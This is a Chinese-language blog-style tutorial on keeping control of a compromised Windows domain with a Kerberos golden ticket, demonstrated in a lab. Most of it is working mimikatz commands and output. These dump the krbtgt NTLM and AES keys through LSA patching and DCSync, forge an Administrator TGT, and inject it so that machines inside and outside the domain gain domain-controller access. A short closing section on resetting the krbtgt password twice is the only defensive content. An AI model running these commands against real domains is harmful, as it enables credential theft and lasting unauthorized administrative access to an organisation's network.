0x00 前言


当域***成功后,域控制器已被攻陷,这时***者通常需要维持域中权限,持久控制域控制器。本文中提到的golden ticket(黄金票据)主要是利用微软Kerberos协议缺陷和域中krbtgt账号的信息,可生成任意TGT,该TGT可用于当前域中Kerberos认证的任何服务。***者只需要保存krbtgt账号中的信息生成golden ticket注入内存当中,即可拥有权限,且该票据的有效期是十年。

0x01 准备工作


  1. 域控制器一台及管理员权限(dc都没攻陷,谈何后续?)
  2. mimikatz

0x02 模拟环境


域控制器 2008r2 dc.test.com 192.168.3.100
域内机器 2008r2 client.test.com 192.168.3.10
域外机器 win7 xxxxxx.xxx 192.168.3.18

0x03 漏洞自检


只能去翻看日志咯~~~~

0x04 漏洞利用


1. 获取krbtgt账号信息

包括Server SID、NTLM或aes256或aes128,在域控制器上使用mimikatz操作

C:\Users\Administrator\Desktop>mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit"
mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # lsadump::lsa /patch
Domain : TEST / S-1-5-21-1406004368-3818689962-3591297438
RID  : 000001f6 (502)
User : krbtgt
LM   : 
NTLM : 80c073620041d7cc60c36ea12bdecb5d
//只摘重点部分展示

抓取aes256,需要使用另外的命令,aes256和NTLM只需要一个即可

C:\Users\Administrator\Desktop>mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:test.com /user:krbtgt" "exit"
mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # lsadump::dcsync /domain:test.com /user:krbtgt
[DC] 'test.com' will be the domain
[DC] 'dc.test.com' will be the DC server
[DC] 'krbtgt' will be the user account
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
    Default Salt : TEST.COMkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 7a615ae0d4b62a304ab086749b87ec0933dccb62c15e9fc2ca176bd4cf5ee8c5
            aes128_hmac       (4096) : aeb64a10f1fa77b344fb873ba04fa755
      des_cbc_md5       (4096) : dcd9ec620b26f7df
      rc4_plain         (4096) : 80c073620041d7cc60c36ea12bdecb5d

2.生成golden ticket(其实也是TGT票据)

先使用NTLM来生成票据

C:\Users\Administrator\Desktop>mimikatz.exe "kerberos::golden /user:Administrator /domain:域名 /sid:SERVER SID /krbtgt:NTLM /ticket:test.kirbi" "exit"

执行后会在当前目录生成票据,名为test.kirbi
域后续之golden ticket_第1张图片
aes256生成票据

C:\Users\Administrator\Desktop>mimikatz.exe "kerberos::golden /user:Administrator /domain:域名 /sid:SERVER SID /aes256:值 /ticket:xxx.kirbi" "exit"

执行后会在当前目录生成票据,名为xxx.kirbi
aes128同256,将参数名修改和值即可/aes128:xxx

3.票据注入

分别使用两台机器进行测试,一台为域内成员机器,一台为域外成员机器,测试是否能通过票据使任意能联通域的机器获取到域管理权限!将票据保存到两台机器上

* 域内机器测试

域后续之golden ticket_第2张图片
!未注入票据前,域内机器不能直接访问域控制器

mimikatz # kerberos::ptt aes256.kirbi  #xxx.kirbi为文件名

域后续之golden ticket_第3张图片
!注入票据后,成功访问域控制器


* 域外机器测试

需要注意的是,域外机器先得将dns指向域控制器或域内dns服务器,否则无法解析主机名
域后续之golden ticket_第4张图片
可以正常解析!
域后续之golden ticket_第5张图片
机器不在域中
!未注入票据前,域外机器不能直接访问域控制器
域后续之golden ticket_第6张图片
!注入票据后,域外机器成功访问域控制器
域后续之golden ticket_第7张图片

0x05 细节


  1. 访问时,不能使用ip地址,必须使用域名
    域后续之golden ticket_第8张图片
  2. 如有错误,请斧正,谢谢!

0x06 修复

当域被***后,不止要重置域管理员密码,还需要重置krbtgt账户密码,且需要重置两次,才能使golden ticket失效,否则拥有golden ticket的***者将可以随便进出域中